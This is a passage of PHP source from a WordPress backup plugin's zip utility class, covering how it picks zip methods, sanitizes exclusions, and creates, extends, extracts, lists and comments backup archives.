{ $methods = $available_methods; $methods_details = $available_methods_details; } if ( !empty( $methods ) ) { return true; } else { return false; } } /** * use_cached_methods() * * Returns whether conditions/configuration indicate cached methods should be used * Note: Temporarily add the condition for whether get_/set_transient functions * exist - if not (meaning we are probably running under importbuddy) then we also * skip caching. This adds a little time when instantiating because we have to test * every time but it's acceptable for now. In the longer term we will have an * alternative way to handle the transient data outside of WordPress. * * @return bool true if use cached methods, false otherwise * */ protected function use_cached_methods() { // By default we'll be using caching $result = true; // Has caching been explicitly disabled $caching_disabled = ( isset( pb_backupbuddy::$options['disable_zipmethod_caching'] ) && ( pb_backupbuddy::$options['disable_zipmethod_caching'] == '1') ); // Do we have the means to cache $caching_unavailable = ( !( function_exists( 'get_transient' ) && function_exists( 'set_transient' ) ) ); if ( $caching_disabled || $caching_unavailable ) { $result = false; } return $result; } /** * get_zip_methods() * * Returns the array of zip methods previously deduced * * @return array Flat array of zip methods (could be empty) * */ public function get_zip_methods() { return $this->_zip_methods; } /** * set_zip_methods() * * Resets the zip methods based on new criteria and returns the array of zip methods * * @param array $requested Flat array of requested (preferred) zip methods * @param bool $best_only Optional: True if only the best available method wanted * @return object This object * */ public function set_zip_methods( array $requested, $best_only = false ) { // Update the memory of what zip methods were requested - make it clean $this->_requested_zip_methods = array_map( 'trim', $requested ); // Work out the list of zip methods from the requested and available $this->deduce_zip_methods( $this->_zip_methods, $this->_zip_methods_details, $this->_requested_zip_methods, $best_only ); return $this; } /** * refresh_zip_methods() * * Refresh the information on the available zip methods * TODO: Perhaps the transient could be deleted here rather than by the caller? * * @param array $zip_methods Optional: The set of zip methods requested to use * @return object This object */ public function refresh_zip_methods( $zip_methods = array() ) { $this->set_zip_methods( $zip_methods ); return $this; } /** * sanitize_excludes() * * Take an exclusion list of directories and/or files and produce a sanitized exclusion list * Directories will be recognized by having a trailing directory separator otherwise will be * treated as a file (note that here we are working with patterns and not testing to see * whether something _is_ a directory or not because we don't necessarily have the full * directory path). * Note: Anything that contains a wildcard character (* or ?) is ignored as these are not * currently supported (and maybe never will across the board). For command zip zip we can * consider an option to have these as separate exclusions (and currently we can accomodate * then through specifying environment ZIPOPTS. * * @param array List of primary exclusions - may be empty * @param array List of secondary exclusions - may be empty * @param string The base directory to be used if normalizing * * @return mixed array on success, false otherwise */ protected function sanitize_excludes( $primary, $secondary, $base = '' ) { $sanitized = array(); $basedir = trim( $base ); $normalize = !empty( $basedir ); // Normalize the trailing directory separator on the path $basedir = rtrim( $basedir, self::DIRECTORY_SEPARATORS ) . self::NORM_DIRECTORY_SEPARATOR; // Normalize platform specific directory separators in path $basedir = str_replace( DIRECTORY_SEPARATOR, self::NORM_DIRECTORY_SEPARATOR, $basedir ); // $primary is considered to be unclean foreach ( $primary as $exclude ) { // Reset flag for whether this exclude is a directory-like exclude $is_directory_path = false; // Get rid of standard prefix/suffix detritus $exclude = trim( $exclude ); // Possible that we could end up with an empty entry // Also ignore if any wildcard characters present if ( !empty( $exclude ) && ( !preg_match( '|[?*]|', $exclude ) ) ) { // Remember if it has a directory separator suffix if ( preg_match( '|[' . addslashes( self::DIRECTORY_SEPARATORS ) . ']$|', $exclude ) ) { $is_directory_path = true; } // Remove what could be multiple prefix or suffix directory separators $exclude = trim( $exclude, self::DIRECTORY_SEPARATORS ); // Make sure platform specific directory separators in path become normalized $exclude = str_replace( DIRECTORY_SEPARATOR, self::NORM_DIRECTORY_SEPARATOR, $exclude ); // And add back a single instance prefix $exclude = self::NORM_DIRECTORY_SEPARATOR . $exclude; // And optionally a single instance suffix if ( $is_directory_path ) { $exclude .= self::NORM_DIRECTORY_SEPARATOR; } $sanitized[] = $exclude; } } // $secondary is considered to be clean if ( !empty( $secondary ) ) { $sanitized = array_merge( $sanitized, $secondary ); } // Get unique entries and renumber numeric keys $sanitized = array_merge( array_unique( $sanitized ) ); if ( true == $normalize ) { // Make sure the normalize base has a trailing directory separator $basedir = ( rtrim( $basedir, self::NORM_DIRECTORY_SEPARATOR ) ) . self::NORM_DIRECTORY_SEPARATOR; foreach ( $sanitized as &$exclusion ) { // Must remove any leading DIRECTORY_SEPARATOR because $basedir always has trailing $exclusion = ltrim( $exclusion, self::NORM_DIRECTORY_SEPARATOR ); $exclusion = ( $basedir . $exclusion ); } } return $sanitized; } /** * get_available_zip_methods() * * Returns the array of zip methods that are available for the mode of this object * Libraries must have been loaded already * * @param array The supported zip methods * @param array The array which will hold the available methods * @param array The array that will hold the available methods attributes (method tag is key) * @return bool True if methods available, False otherwise * */ protected function get_available_zip_methods( array $supported_zip_methods, &$available_methods, &$available_methods_details ) { // Make sure these are cleared as the caller might not have done so $available_methods = array(); $available_methods_details = array(); // Try each supported zip method to see what it can do on this system foreach ( $supported_zip_methods as $method_tag ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; // Let the method object inherit our logger $zipper = new $class_name( $this ); if ( true === $zipper->is_available( $this->_tempdir ) ) { $available_methods[] = $method_tag; $available_methods_details[ $method_tag ] = $zipper->get_method_details(); } unset( $zipper ); } return ( !empty( $available_methods ) ); } /** * get_compatibility_zip_methods() * * Returns the array of zip methods that are regarded as "compatibility" methods * Libraries must have been loaded already * * @return array Flat array of zip methods (could be empty) * */ protected function get_compatibility_zip_methods() { $compatibility_methods = array(); foreach ( $this->_zip_methods as $method_tag ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; // Let the method object inherit our logger $zipper = new $class_name( $this ); if ( $zipper->get_is_compatibility_method() === true ) { $compatibility_methods[] = $method_tag; } unset( $zipper ); } return $compatibility_methods; } /** * get_best_zip_methods() * * Returns the array of best zip method(s) * For now we assume only one "best" method as being the first method in the list * that has the requested attribute(s). * Libraries must have been loaded already * * @param array $attributes Array of attributes to check method supports * @return array Flat array of zip methods (could be empty) * */ protected function get_best_zip_methods( $attributes = array() ) { $best_methods = array(); if ( !empty( $this->_zip_methods ) ) { if ( empty( $attributes ) ) { // No attributes to test for so just take the first in the list $best_methods[] = $this->_zip_methods[ 0 ]; } else { // Have some attributes to test so work along the list until we find a match or end of list foreach ( $this->_zip_methods as $method_tag ) { // Start afresh each time - assume success $match = true; foreach ( $attributes as $attribute ) { // Check each attribute in turn (precondition that all attributes set true/false) $match = ( $match && ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ $attribute ] === true ) ); } if ( true === $match ) { // Found our matching method so break out of the test loop to return $best_methods[] = $method_tag; break; } } } } return $best_methods; } public function log( $level, $message ) { $this->get_logger()->log( $level, $message ); } public function set_logger( $logger ) { $this->_logger = $logger; return $this; } public function get_logger() { if ( is_null( $this->_logger ) ) { $logger = new pluginbuddy_zipbuddy_null_object(); $this->set_logger( $logger ); } return $this->_logger; } public function set_process_monitor( $process_monitor ) { $this->_process_monitor = $process_monitor; return $this; } public function get_process_monitor() { if ( is_null( $this->_process_monitor ) ) { $pm = new pluginbuddy_zipbuddy_null_object(); $this->set_process_monitor( $pm ); } return $this->_process_monitor; } /** * create_empty_zip() * * A function that creates an empty archive file with optional comment * * Create an empty zip archive (just the end of central dir) with an optional * comment as well. This has a well known basic structure and content so we can * write it directly as binary data. * * @param string $zip Full path & filename of ZIP Archive file to create * @param string $tempdir Full path of directory for temporary usage * @param string $comment Comment to apply to archive. (optional) * @return bool True if the creation was successful, false otherwise * */ public function create_empty_zip( $zip, $tempdir, $comment = '' ) { $result = false; $zip_file_name = $tempdir . basename( $zip ); $this->log( 'details', sprintf( __( 'Zip process reported: Initializing zip archive file: %1$s', 'it-l10n-backupbuddy' ), $zip_file_name ) ); try { $zip_file = new SplFileObject( $zip_file_name, "wb" ); // Encode $comment if an array. if ( is_array( $comment ) ) { $comment = json_encode( $comment ); } // Don't add an empty comment - so if the encoded string is empty or an empty // string was passed in originally don't do anything. if ( 0 != strlen( $comment ) ) { $comment = 'MetaData:' . $comment . 'MetaData-End:'; } // ----- Packed data $binary_data = pack( "VvvvvVVv", 0x06054b50, 0, 0, 0, 0, 0, 0, strlen( $comment ) ); // ----- Write the 22 bytes of the header in the zip file $zip_file->fwrite( $binary_data, 22 ); // ----- Write the variable fields if ( 0 != strlen( $comment ) ) { $zip_file->fwrite( $comment, strlen( $comment ) ); } unset( $zip_file ); $this->log( 'details', sprintf( __( 'Zip process reported: Initialized zip archive file', 'it-l10n-backupbuddy' ) ) ); $result = true; } catch ( Exception $e ) { $error_string = $e->getMessage(); $this->log( 'details', sprintf( __('Zip process reported: Failure to initialize zip archive file - error reported: %1$s','it-l10n-backupbuddy' ), $error_string ) ); } return $result; } /** * add_directory_to_zip() * * Adds a directory to a new or existing (TODO: not yet available) ZIP file. * * @param string $zip_file Full path & filename of ZIP file to create. * @param string $add_directory Full directory to add to zip file. * @param array $excludes Array of strings of paths/files to exclude from zipping * @param string $temporary_zip_directory Full directory path to directory to temporarily place ZIP * * @return true on success, false otherwise * */ public function add_directory_to_zip( $zip_file, $add_directory, $excludes = array(), $temporary_zip_directory = '' ) { if ( true === $this->_is_experimental ) { $this->log( 'message', __('Running alternative ZIP system (BETA) based on settings.','it-l10n-backupbuddy' ) ); } else { $this->log( 'message', __('Running standard ZIP system based on settings.','it-l10n-backupbuddy' ) ); } // Let's just log if this is a 32 or 64 bit system $php_size = ( pluginbuddy_stat::is_php( pluginbuddy_stat::THIRTY_TWO_BIT ) ) ? "32" : "64" ; $this->log( 'details', sprintf( __( 'Running under %1$s-bit PHP', 'it-l10n-backupbuddy' ), $php_size ) ); // Make sure we tell what the sapi is $this->log( 'details', sprintf( __( 'Server API: %1$s', 'it-l10n-backupbuddy' ), $this->get_sapi_name() ) ); $zip_methods = array(); $sanitized_excludes = array(); // Set some additional system excludes here for now - these are all from the site install root $additional_excludes = array( self::NORM_DIRECTORY_SEPARATOR . 'importbuddy' . self::NORM_DIRECTORY_SEPARATOR, self::NORM_DIRECTORY_SEPARATOR . 'importbuddy.php', self::NORM_DIRECTORY_SEPARATOR . 'wp-content' . self::NORM_DIRECTORY_SEPARATOR . 'uploads' . self::NORM_DIRECTORY_SEPARATOR . 'pb_backupbuddy' . self::NORM_DIRECTORY_SEPARATOR, ); // Make sure we have a valid zip method strategy setting to use otherwise fall back to emergency compatibility if ( isset( pb_backupbuddy::$options[ 'zip_method_strategy' ] ) && ( '0' !== pb_backupbuddy::$options[ 'zip_method_strategy' ] ) ) { $zip_method_strategy = pb_backupbuddy::$options[ 'zip_method_strategy' ]; switch ( $zip_method_strategy ) { case "1": // Best Available $zip_methods = $this->get_best_zip_methods( array( 'is_archiver' ) ); $this->log( 'details', __('Using Best Available zip method based on settings.','it-l10n-backupbuddy' ) ); break; case "2": // All Available $zip_methods = $this->_zip_methods; $this->log( 'details', __('Using All Available zip methods in preferred order based on settings.','it-l10n-backupbuddy' ) ); break; case "3": // Force Compatibility $zip_methods = $this->get_compatibility_zip_methods(); $this->log( 'message', __('Using Forced Compatibility zip method based on settings.','it-l10n-backupbuddy' ) ); break; default: // Hmm...unrecognized value - emergency compatibility $zip_methods = $this->get_compatibility_zip_methods(); $this->log( 'message', sprintf( __('Forced Compatibility Mode as Zip Method Strategy setting not recognized: %1$s','it-l10n-backupbuddy' ), $zip_method_strategy ) ); } } else { // We got no or an invalid zip method strategy which is a bad situation - emergency compatibility is the order of the day $zip_methods = $this->get_compatibility_zip_methods(); $this->log( 'message', __('Forced Compatibility Mode as Zip Method Strategy not set or setting not recognized.','it-l10n-backupbuddy' ) ); } // Better make sure we have some available methods if ( empty( $zip_methods ) ) { // Hmm, we don't seem to have any available methods, oops, best go no further $this->log( 'details', __('Failed to create a Zip Archive file - no available methods.','it-l10n-backupbuddy' ) ); // We should have a temporary directory, must get rid of it, can simply rmdir it as it will (should) be empty if ( !empty( $temporary_zip_directory ) && file_exists( $temporary_zip_directory ) ) { if ( !rmdir( $temporary_zip_directory ) ) { $this->log( 'details', __('Temporary directory could not be deleted: ','it-l10n-backupbuddy' ) . $temporary_zip_directory ); } } return false; } $this->log( 'details', __('Creating ZIP file','it-l10n-backupbuddy' ) . ' `' . $zip_file . '`. ' . __('Adding directory','it-l10n-backupbuddy' ) . ' `' . $add_directory . '`. ' . __('Excludes','it-l10n-backupbuddy' ) . ': ' . implode( ',', $excludes ) ); // We need the classes for being able to build backup file list require_once( pb_backupbuddy::plugin_path() . '/lib/' . $this->_whereami . '/zbdir.php' ); if ( !class_exists( 'pluginbuddy_zbdir' ) ) { // Hmm, require_once() didn't bomb but we haven't got the class we expect - bail out $this->log( 'details', __('Unable to load classes for backup file list builder.','it-l10n-backupbuddy' ) ); return false; } // Generate our sanitized list of directories/files to exclude as relative paths $sanitized_excludes = $this->sanitize_excludes( $excludes, $additional_excludes ); // Do the same for directories/files to include //$sanitized_includes = $this->sanitize_excludes( $includes, $additional_includes ); // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can archive with this method if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_archiver' ] === true ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; // Zipper will initially inherit our logger and our // process monitor $zipper = new $class_name( $this ); // Now override logger - will define a prefix here $zipper->set_logger( $this->_default_child_logger ); // Set these on specific zipper based on the values we derived at construnction or // overridden by subsequent method calls $zipper->set_compression( $this->get_compression() ); $zipper->set_ignore_symlinks( $this->get_ignore_symlinks() ); $zipper->set_ignore_warnings( $this->get_ignore_warnings() ); $zipper->set_step_period( $this->get_step_period() ); $zipper->set_burst_gap( $this->get_burst_gap() ); $zipper->set_min_burst_content( $this->get_min_burst_content() ); $zipper->set_max_burst_content( $this->get_max_burst_content() ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Tell the method the server api in use $zipper->set_sapi_name( $this->get_sapi_name() ); $this->log( 'details', __('Trying ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP.','it-l10n-backupbuddy' ) ); // As we are looping make sure we have no stale file information clearstatcache(); // The temporary zip directory _must_ exist if ( !empty( $temporary_zip_directory ) ) { if ( !file_exists( $temporary_zip_directory ) ) { // Create temp dir if it does not exist. mkdir( $temporary_zip_directory ); } } // Now we are ready to try and produce the backup if ( true === ( $result = $zipper->create( $zip_file, $add_directory, $sanitized_excludes, $temporary_zip_directory ) ) ) { // Got a valid zip file so we can just return - method will have cleaned up the temporary directory $this->log( 'details', __('The ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP was successful.','it-l10n-backupbuddy' ) ); unset( $zipper ); // We have to return here because we cannot break out of foreach return true; } elseif ( is_array( $result ) ) { // Didn't finish zip creation on that step so we need to set up for another step // Add in any addiitonal state information and simply return the state $this->log( 'details', __('The ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP partially completed.','it-l10n-backupbuddy' ) ); unset( $zipper ); return $result; } else { // We failed on the first step for one eason or another - may be an option // to try with another method... // Method will have cleaned up the temporary directory $this->log( 'details', __('The ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP was unsuccessful.','it-l10n-backupbuddy' ) ); unset( $zipper ); } } else { // This method is not considered suitable (reliable enough) for creating archives or lacked zip capability $this->log( 'details', __('The ','it-l10n-backupbuddy' ) . $method_tag . __(' method is not currently supported for backup.','it-l10n-backupbuddy' ) ); } } // If we get here then have failed in all attempts $this->log( 'details', __('Failed to create a Zip Archive file with any nominated method.','it-l10n-backupbuddy' ) ); return false; } /** * grow_zip() * * This is called after the first step and carries on growing the zip with he already * calculated archive content * * @param string $zip_file Full path & filename of ZIP file to grow. * @param string $temporary_zip_directory Full directory path to directory were we are working * @param array $state State array that we need to pick up where we left off * * @return mixed true on completion of archive, array for continuation, false on failure * */ public function grow_zip( $zip_file, $temporary_zip_directory, $state ) { // Initialize the zip method tag of the method we are using $zip_methods = array( $state[ 'zipbuddy' ][ 'mt' ] ); // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can archive with this method if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_archiver' ] === true ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; // Zipper will initially inherit our logger and // our process monitor $zipper = new $class_name( $this ); // Now override logger - will define a prefix here $zipper->set_logger( $this->_default_child_logger ); // Set these on specific zipper based on the values we derived at construnction or // overridden by subsequent method calls $zipper->set_compression( $this->get_compression() ); $zipper->set_ignore_symlinks( $this->get_ignore_symlinks() ); $zipper->set_ignore_warnings( $this->get_ignore_warnings() ); $zipper->set_step_period( $state[ 'zipper' ][ 'sp' ] ); $zipper->set_burst_gap( $this->get_burst_gap() ); $zipper->set_min_burst_content( $this->get_min_burst_content() ); $zipper->set_max_burst_content( $this->get_max_burst_content() ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Tell the method the server api in use $zipper->set_sapi_name( $this->get_sapi_name() ); $this->log( 'details', __('Trying ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP.','it-l10n-backupbuddy' ) ); // As we are looping make sure we have no stale file information clearstatcache(); // The temporary zip directory _must_ exist if ( !empty( $temporary_zip_directory ) ) { if ( !file_exists( $temporary_zip_directory ) ) { // Create temp dir if it does not exist. mkdir( $temporary_zip_directory ); } } // Now we are ready to try and produce the backup if ( true === ( $result = $zipper->grow( $zip_file, $temporary_zip_directory, $state ) ) ) { // Got a valid zip file so we can just return - method will have cleaned up the temporary directory $this->log( 'details', __('The ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP was successful.','it-l10n-backupbuddy' ) ); unset( $zipper ); // We have to return here because we cannot break out of foreach return true; } elseif ( is_array( $result ) ) { // Didn't finish zip creation on that step so we need to set up for another step // Add in any addiitonal state information and simply return the state $this->log( 'details', __('The ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP partially completed.','it-l10n-backupbuddy' ) ); unset( $zipper ); return $result; } else { // We failed on a continuation step so we are done really... // Method will have cleaned up the temporary directory $this->log( 'details', __('The ', 'it-l10n-backupbuddy' ) . $method_tag . __(' method for ZIP was unsuccessful.','it-l10n-backupbuddy' ) ); unset( $zipper ); } } else { // This method is not considered suitable (reliable enough) for creating archives or lacked zip capability $this->log( 'details', __('The ','it-l10n-backupbuddy' ) . $method_tag . __(' method is not currently supported for backup.','it-l10n-backupbuddy' ) ); } } // If we get here then have failed in all attempts $this->log( 'details', __('Failed to create a Zip Archive file with any nominated method.','it-l10n-backupbuddy' ) ); return false; } /** * unzip() * * Extracts the contents of a zip file to the specified directory using the best unzip methods possible. * * @param string $zip_file Full path & filename of ZIP file to extract from. * @param string $destination_directory Full directory path to extract into. * @param bool|string $force_compatibility_mode False: use all available, String: use that method * * @return bool true on success, false otherwise */ public function unzip( $zip_file, $destination_directory, $force_compatibility_mode = false ) { $zip_methods = array(); // The following is just to match current functionality for importbuddy - ideally would rather // do it by selecting available compatibility methods based on method attributes - may do that later // (would also need get_compatibility_zip_methods() to be updated to take parameter to check // whether compatibility method for that particular function. // Decide which methods we are going to try if ( $force_compatibility_mode == 'ziparchive' ) { $zip_methods = array( 'ziparchive' ); $this->log( 'message', __('Forced compatibility unzip method (ZipArchive; medium speed) based on settings.','it-l10n-backupbuddy' ) ); } elseif ( $force_compatibility_mode == 'pclzip' ) { $zip_methods = array( 'pclzip' ); $this->log( 'message', __('Forced compatibility unzip method (PCLZip; slow speed) based on settings.','it-l10n-backupbuddy' ) ); } else { $zip_methods = $this->_zip_methods; $this->log( 'details', __('Using all available unzip methods in preferred order.','it-l10n-backupbuddy' ) ); } // Better make sure we have some available methods if ( empty( $zip_methods ) ) { // Hmm, we don't seem to have any available methods, oops, best go no further $this->log( 'details', sprintf( __('Unable to extract backup file contents (%1$s to %2$s): No available unzip methods found.','it-l10n-backupbuddy' ), $zip_file, $destination_directory ) ); return false; } // Make sure we have a normalized directory separator suffix $destination_directory = rtrim( $destination_directory, self::DIRECTORY_SEPARATORS ) . self::NORM_DIRECTORY_SEPARATOR; // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can check file existence with this method (ignore silently if not) // Note: has to be able to unzip as well but if that functionality wasn't available in // the method the is_checker attribute will have been set false if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_unarchiver' ] === true ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; $zipper = new $class_name( $this ); $zipper->set_logger( $this->_default_child_logger ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Now we are ready to try and extract the backup $result = $zipper->extract( $zip_file, $destination_directory ); // Will be false if we couldn't extract the backup if ( $result === true ) { // Must assume that we extracted ok unset( $zipper ); // We have to return here because we cannot break out of foreach return true; } else { // The zipper encountered an error so we need to drop through and loop round to try another // We'll not process the result here, just drop through silently (the method will have logged it) unset( $zipper ); } } } // If we got this far then no method to extract backup content was available or worked $this->log( 'details', sprintf( __('Unable to extract backup file contents (%1$s to %2$s): No compatible zip method found.','it-l10n-backupbuddy' ), $zip_file, $destination_directory ) ); return false; } /** * extract() * * Extracts the specified contents of a zip file to the specified destination using the best unzip methods possible. * The destination directory _must_ already exist and be writable - this function does not create it * The items are an array of mapping of what => where, e.g. * array( "dir/myfile.txt" => "", "dir/myfile.txt" => "tmpfilename", "dir/myfile.txt" => "dir/myfile.txt" ) * In the first case the file is extracted to $destination_directory/myfile.txt * In the second case the file is extracted to $destination_directory/tmpfilename * In the third case the file is extracted to $destination_directory/dir/myfile.txt * Note: in the second case the file is initially extrcated as myfile.txt and then rename to tmpfilename * Another example is for directory extraction: * array( "dir/*" => "dir/*" ) * Whereby the directory dir and all it's content (recursively) is extracted to $destination/dir * Note: the * is required otherwise you just get an empty directory * * @param string $zip_file Full path & filename of ZIP file to extract from. * @param string $destination_directory Full directory path to extract to * @param array $items Mapping of what to extract and to what * * @return bool true on success (all extractions successful), false otherwise */ public function extract( $zip_file, $destination_directory, $items ) { $zip_methods = array(); // The following is just to match current functionality for importbuddy - ideally would rather // do it by selecting available compatibility methods based on method attributes - may do that later // (would also need get_compatibility_zip_methods() to be updated to take parameter to check // whether compatibility method for that particular function. $zip_methods = $this->_zip_methods; // Better make sure we have some available methods if ( empty( $zip_methods ) ) { // Hmm, we don't seem to have any available methods, oops, best go no further $this->log( 'details', sprintf( __('Unable to extract from backup file (%1$s to %2$s): No available unzip methods found.','it-l10n-backupbuddy' ), $zip_file, $destination ) ); return false; } if ( !( file_exists( $destination_directory ) && is_dir( $destination_directory ) && is_writable( $destination_directory ) ) ) { $this->log( 'details', sprintf( __('Unable to extract from backup file (%1$s to %2$s): %2$s does not exist, is not a directory or is not writeable','it-l10n-backupbuddy' ), $zip_file, $destination_directory ) ); return false; } // Make sure we have a normalized directory separator suffix $destination_directory = rtrim( $destination_directory, self::DIRECTORY_SEPARATORS ) . self::NORM_DIRECTORY_SEPARATOR; // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can check file existence with this method (ignore silently if not) // Note: has to be able to unzip as well but if that functionality wasn't available in // the method the is_checker attribute will have been set false if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_extractor' ] === true ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; $zipper = new $class_name( $this ); $zipper->set_logger( $this->_default_child_logger ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Now we are ready to try and extract from the backup $result = $zipper->extract( $zip_file, $destination_directory, $items ); // Will be false if we couldn't extract from the backup if ( $result === true ) { // Must assume that we extracted ok unset( $zipper ); // We have to return here because we cannot break out of foreach return true; } else { // The zipper encountered an error so we need to drop through and loop round to try another // We'll not process the result here, just drop through silently (the method will have logged it) unset( $zipper ); } } } // If we got this far then no method to extract from backup content was available or worked $this->log( 'details', sprintf( __('Unable to extract from backup file (%1$s to %2$s): No compatible zip method found.','it-l10n-backupbuddy' ), $zip_file, $destination_directory ) ); return false; } /** * file_exists() * * Tests whether a file (with path) exists in the given zip file * If leave_open is true then the zip object will be left open for faster checking for subsequent files within this zip * * @param string $zip_file The zip file to check * @param string $locate_file The file to test for * @param bool $leave_open Optional: True if the zip file should be left open * @return bool True if the file is found in the zip otherwise false * */ public function file_exists( $zip_file, $locate_file, $leave_open = false ) { $zip_methods = array(); $zip_methods = $this->_zip_methods; // Better make sure we have some available methods if ( empty( $zip_methods ) ) { // Hmm, we don't seem to have any available methods, oops, best go no further $this->log( 'details', __('Failed to check file exists - no available methods.','it-l10n-backupbuddy' ) ); return false; } // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can check file existence with this method (ignore silently if not) // Note: has to be able to unzip as well but if that functionality wasn't available in // the method the is_checker attribute will have been set false if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_checker' ] === true ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; $zipper = new $class_name( $this ); $zipper->set_logger( $this->_default_child_logger ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Now we are ready to try and test for the file existence $result = $zipper->file_exists( $zip_file, $locate_file, $leave_open ); // Will be true/false if file found/not-found otherwise error information array if ( !is_array( $result ) ) { // Either we found the file or we didn't but we have a valid result unset( $zipper ); // We have to return here because we cannot break out of foreach return $result; } else { // The zipper encountered an error so we need to drop through and loop round to try another // We'll not process the result here, just drop through silently (the method will have logged it) unset( $zipper ); } } } // If we got this far then no method to check backup content was available or worked $this->log( 'details', sprintf( __('Unable to check if file exists (looking for %1$s in %2$s): No compatible zip method found.','it-l10n-backupbuddy' ), $locate_file, $zip_file ) ); return false; } /* get_file_list() * * Get an array of all files in a zip file with some file properties. * * @param string $zip_file The file to list the content of * @return bool|array false on failure, otherwise array of file properties (may be empty) */ public function get_file_list( $zip_file ) { $zip_methods = array(); $zip_methods = $this->_zip_methods; // Better make sure we have some available methods if ( empty( $zip_methods ) ) { // Hmm, we don't seem to have any available methods, oops, best go no further $this->log( 'details', __('Failed to list backup file contents - no available methods.','it-l10n-backupbuddy' ) ); return false; } // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can list backup file content with this method (ignore silently if not) // Note: has to be able to unzip as well but if that functionality wasn't available in // the method the is_lister attribute will have been set false if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_lister' ] === true ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; $zipper = new $class_name( $this ); $zipper->set_logger( $this->_default_child_logger ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Now we are ready to try and test for the file existence $result = $zipper->get_file_list( $zip_file ); // Will be false if we couldn't list contents or file list array otherwise if ( is_array( $result ) ) { // We got a list so better assume it is ok unset( $zipper ); // We have to return here because we cannot break out of foreach return $result; } else { // The zipper encountered an error so we need to drop through and loop round to try another // We'll not process the result here, just drop through silently (the method will have logged it) unset( $zipper ); } } } // If we got this far then no method to list backup file content was available or worked $this->log( 'details', sprintf( __('Unable to check file content of backup (%1$s): No compatible zip method found.','it-l10n-backupbuddy' ), $zip_file ) ); return false; } /* set_comment() * * Retrieve archive comment. * * @param string $zip_file Filename of archive to set comment on. * @param string|array $comment Comment to apply to archive. If array, json encoded. Deliminated with MetaData: and MetaData-End:. * @return bool|string true on success, error message otherwise. */ public function set_comment( $zip_file, $comment ) { $zip_methods = array(); $zip_methods = $this->_zip_methods; // Better make sure we have some available methods if ( empty( $zip_methods ) ) { // Hmm, we don't seem to have any available methods, oops, best go no further $this->log( 'details', __('Failed to set comment in backup file - no available methods.','it-l10n-backupbuddy' ) ); return false; } // Encode $comment if an array. Handle delimination. if ( is_array( $comment ) ) { $comment = json_encode( $comment ); } $comment = 'MetaData:' . $comment . 'MetaData-End:'; // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can manage comments with this method (ignore silently if not) if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_commenter' ] === true ) { $class_name = 'pluginbuddy_zbzip' . $method_tag; $zipper = new $class_name( $this ); $zipper->set_logger( $this->_default_child_logger ); // We need to tell the method what details belong to it $zipper->set_method_details( $this->_zip_methods_details[ $method_tag ] ); // Now we are ready to try and test for the file existence $result = $zipper->set_comment( $zip_file, $comment ); // Will be false if we couldn't set the comment if ( $result === true ) { // Must assume that comment was set ok unset( $zipper ); // We have to return here because we cannot break out of foreach return true; } else { // The zipper encountered an error so we need to drop through and loop round to try another // We'll not process the result here, just drop through silently (the method will have logged it) unset( $zipper ); } } } // If we got this far then couldn't set a comment at all - either no available method or all method failed $this->log( 'details', sprintf( __('Unable to set comment in file %1$s: No compatible zip method found or all methods failed - note stored internally only.','it-l10n-backupbuddy' ), $zip_file ) ); // Return message for display - maybe should return false and have caller display it's own message? $message = "\n\nUnable to set note in file.\nThe note will only be stored internally in your settings and not in the zip file itself."; return $message; } /* get_comment() * * Retrieve archive comment. * * @param string $zip_file Filename of archive to retrieve comment from. * @param bool $raw_comment If true then raw comment field data returned without processing deliminators nor json. Defaults false. * @return bool|string|array false on failure, Zip comment otherwise. If comment is json encoded array returns array. */ public function get_comment( $zip_file, $raw_comment = false ) { $zip_methods = array(); $zip_methods = $this->_zip_methods; // Better make sure we have some available methods if ( empty( $zip_methods ) ) { // Hmm, we don't seem to have any available methods, oops, best go no further $this->log( 'details', __('Failed to get comment from backup file - no available methods.','it-l10n-backupbuddy' ) ); return false; } // Iterate over the methods - once we succeed just return directly otherwise drop through foreach ( $zip_methods as $method_tag ) { // First make sure we can manage comments with this method (ignore silently if not) if ( $this->_zip_methods_details[ $method_tag ][ 'attr' ][ 'is_commenter' ] === true ) { $class_name = 